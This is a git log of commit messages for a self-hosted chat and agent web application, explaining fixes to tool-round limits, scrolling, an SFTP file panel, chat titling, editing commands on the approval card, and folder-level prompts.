Reported: an ordinary chat with a small local model researching a question well -- six searches, each one informed by the last -- stopped at the round limit and produced no answer at all. Two separate faults, and the second is the serious one. The limit was 5 and it should not have been a working number. It was 1 once, and the note beside it already said why that was wrong: a count low enough to be reached by ordinary work is a schedule, not a ceiling, and it overrides the model's judgement on every turn instead of catching a runaway. Five was the same mistake with a larger number. It is 0 now -- no ceiling, falling back to MAX_TOOL_ROUNDS as a runaway backstop, which is the shape `Limits.steps` already had for an agent chat. What bounds an ordinary chat is the context window, which is a real limit rather than a guess at how much looking-up a question deserves. An administrator who wants a ceiling can still set one. The worse fault: *every* budget ended the reply where it was noticed. That is survivable for a model that narrates as it works and produces nothing at all for one that goes straight to tool calls -- an empty bubble with a red line under it, and everything it had gathered thrown away. `_wrap_up` withdraws the tools and asks once more instead. What it found is in the transcript either way; one request turns it into an answer. Same move `plan_submit` makes, and the reason the loop now runs to `budget + 2`: the round at the budget notices, the one after it answers. The event stays, because an answer the model chose to give and one it gave because it ran out of room read identically otherwise. `_too_big` is the one exception and stays a hard stop. It *is* the finding that there is no room for another request, so a wrap-up round would be the same overflow with an upstream error in place of an explanation. `core.keep_working` was gated on the agent family and is now gated on `unbounded`, the exact complement of `round_budget` -- so an ordinary chat with no ceiling is told to work until the job is done rather than being told nothing, and is never told it has a budget of two hundred, which it would ration. The regression test asserts the reply is not empty, and fails with `'' == 'Here is what I found.'` against the old code -- which is exactly what was seen. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
a56ee16ee3 |
Three things that said one thing and did another
All three shipped in the last two commits, and all three are the same kind of mistake: an interface that looks right and is not. The folder settings page could not be scrolled. `.main` is a flex column with `min-height: 0`, so a `.page` dropped straight into it overflows the viewport with nothing to scroll -- Save and Back end up below the bottom of the window, reachable by zooming out or by dragging the prompt textarea up out of the way. Every other page of this shape already wraps its content in `.admin-scroll`; this one did not. The two class names that scroll are one rule in admin.css precisely so this is a wrapper somebody forgot rather than a value they got wrong, and now it is noted. The project directory was a text box, on the one screen that asks for an absolute path on another machine. It is the same button-and-hidden-field the new-chat screen uses, wired by `[data-dir-field]` in ui.js -- scoped to that attribute so this and the composer's own handler cannot both answer one click and open two dialogs. The composer keeps its own because it does more: it follows the selected profile's default directory until somebody picks their own, which only means something while a chat is being created. With no connection chosen it says so rather than opening onto nothing, and Clear is always there, because browsing somewhere and changing your mind before saving needs a way back to "no opinion" as much as clearing a saved one does. And "New chat" did not follow the Chat/Agent switch. The button sits above the scroll area rather than inside the tree the switch swaps, so it went on saying "New chat" over a list of agent chats. It moves to its own partial and arrives out of band, the way the chat title already does. Renaming it to something neutral would have hidden the bug rather than fixed it, and would have cost the `?kind=agent` preselection the label is there to explain. The tests that existed asserted a page load, which re-renders the button anyway -- which is exactly why nobody saw it. The new ones assert the fragment. The directory field was driven under a DOM stub first. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
fd4db76c64 |
Files, open beside the conversation
A third side panel, built the way the terminal is and filled the way the inspector is: tabs holding open files. Project files over SFTP in an agent chat; notes, skills, knowledge documents, this chat's text attachments and its own scratch document everywhere. Read with pygments, edited in a plain textarea, saved with a conflict check. A bug found on the way in, and the reason this needed its own read path. `ssh.read_file` ends in `clean_output`, which strips ANSI escapes and decodes with errors="replace" -- right for the output of a command, and fatal for an editor: open a file containing an escape byte, press Save, and you have silently rewritten it with the escapes gone and every undecodable byte replaced by U+FFFD. `read_text`/`write_text` decode strictly, report binary rather than mangling it, carry an mtime:size token for a file that moved underneath, and refuse an oversize write rather than truncating -- `write_file` truncates because a model is told how many bytes it wrote, and somebody pressing Save is not. The model-facing pair is untouched: what it returns is a contract a model has been shown. A truncated read opens read-only for the mirror-image reason. Six sources go through one dispatch table, for the reason tool_labels.py is a table: six independently written permission checks is how one ends up written slightly differently, and that failure looks like editing somebody else's note. A save on a project file bypasses agent/policy.py, which makes it the fourth documented exception to "the modes do not govern the keyboard" and the first that writes. Same argument as the terminal panel -- whoever owns the credential could write the file with scp -- but the consequence is larger and is now said out loud rather than left to be inferred. The model opens tabs from the file tools it was already calling, so no new schema and no tokens. It never brings one to the front: an agent reads forty files in a long reply, and taking the screen each time would drag somebody through all of them and lose any edit in progress. Only the strip is streamed, guarded on truthiness so the frame can never blank itself -- an empty one would close every open tab, the approval card you could press twice with the sign reversed. Both halves are settled on the server, which is why canvas.js needs no guard against a swap at all. No vendored editor. CodeMirror 6 needs a bundler, which is hard rule 1; CodeMirror 5 would be a larger payload than xterm on every page, and xterm is the one heavy dependency precisely because it loads only where it can be used. So: server-rendered highlighting for reading, a textarea for writing, and the panel says there is no colour while you type rather than pretending. Also here: a scratch document per chat, with `scratch_write` at RISK_READ on plan_update's argument, and a test pinning the three numbers that decide a panel's width -- LAYOUT_BOUNDS drops an unknown variable silently, so a panel missing from it has a drag handle that works and forgets. Driven under a DOM stub and against the running application. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
50270e13f7 |
Names that fit the chat, and a way to change one
Two things about titles were wrong. Every chat spent a second completion on its name, including an agent chat whose opening words are already a title -- somebody starting one states an objective, not a topic. An agent chat now takes `fallback_title` from its first prompt and makes no request at all; an ordinary chat, which opens with a question whose *answer* is what makes a title worth asking for, is unchanged. And renaming existed only as the `/title` slash command, which set the heading and left the sidebar row showing the old name until the next reload -- a rename that looks half-applied is one people do twice. There are pencil buttons on the heading and on every sidebar row now, both PATCHing the route that was already there, and `update_chat` answers a rename with the out-of-band pair the `done` frame has always sent, so one response moves both. Only on a rename: sending it for every PATCH would overwrite the heading from an unrelated save. `/title` sets both spans itself, being a bare fetch rather than htmx. The dialog is the `data-prompt` mechanism the folder work added, which is why the heading keeps a button rather than becoming an inline field: it sits in a flex row beside the badges and the connection chip, and swapping it for a text box moves all of them. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
6fb260892f |
Correcting a command before allowing it
An approval card was Allow, Always, or Don't. A model proposing the right command with one flag wrong therefore cost a whole round trip to explain in prose. There is an Edit button on it now. Where the edit lands is the whole of the feature, and it is one line. `arguments` is the list `_run_calls` hands to `run_tool` as `parsed=`, and `run_tool` never re-parses -- so writing into it inside `_authorise` is the only mutation the runner can see. Editing the Item would do nothing: it is frozen and display-only. Two things had to move with it. The raw `call["arguments"]` string is rewritten beside the parsed dict, and the assistant turn is now built *after* `_authorise` rather than before it -- the old order told the model it ran what it proposed while something else ran, and every later round would have reasoned from a transcript that was quietly false. And `_remember_always` reads the edit, or "always allow this" would store a standing permission for a command nobody approved; it still derives the pattern itself through `policy.subject`, which yields nothing for a composed command line. Nothing is re-checked against the mode or the lists, and that is not a shortcut. The deny list resolves to ASK rather than to a refusal -- it means "always ask about this" -- so a person who has typed the command and pressed Allow is exactly the asking it was demanding, and re-asking would put the same card up with no way past it. It is the line the terminal panel already draws. The box is only offered where the detail *is* an argument and can be put back: a tool with no entry in `tool_labels.DETAIL_KEYS` gets a `k=repr(v)` summary, and a box there would silently change nothing. Both halves are always in the DOM with one hidden, rather than the field being created on click -- a field that does not exist until a handler runs is a field that submits nothing if the handler fails, and this one decides what runs on somebody's machine. The transcript says "edited by you". Attributing somebody's own typing to a model is the same misattribution as the other way round. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
b602657450 |
A folder that carries something, and a way to name one
A folder was a name and nothing else -- and not even that, since PATCH could rename one and nothing in the interface ever called it. It now carries a description, a system prompt, and seeds for the model, the kind and the agent target, with a settings page behind the row. The prompt is a fourth rung on the ladder, chat > folder > model > instance, and it goes above the model deliberately: a model's prompt describes the model wherever it is used, a folder's describes this piece of work whichever model is pointed at it. It is read when a reply is built rather than copied when a chat is made, so editing it reaches the chats already there, and the walk up the parents is bounded and cycle-safe because it runs on the request path. `api/pages.py` mirrors the ladder for the settings panel and had to gain the same rung -- a panel naming the wrong source is worse than one naming none, because it is believed. The seeds fill in what the request left empty and nothing it filled in: the folder says what this work usually needs, the screen in front of somebody says what they want this time. `ssh_profile_id` is a plain string rather than a foreign key, for the reason `compacted_through_id` is, so it is validated on read. Getting *into* a folder needed fixing too. `/api/chats/start` has accepted a folder_id since folders existed and nothing ever sent one, so the only route in was to make the chat elsewhere and move it. There is a New chat here on the row now, and `?folder=` on the new-chat screen. Naming is a themed dialog, and deliberately not htmx's hx-prompt: htmx calls the browser's prompt() synchronously and only then fires htmx:prompt with the answer already in hand, so intercepting the event cannot supply a different one and the grey box appears anyway. `data-prompt` follows the data-confirm-button shape instead -- swallow the click, ask, write the answer into hx-vals, click again behind a guard. JSON.stringify rather than concatenation, or a folder called `"` produces hx-vals that does not parse and the rename silently does nothing. Driven under a DOM stub, and there is a test that no template brings hx-prompt back. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |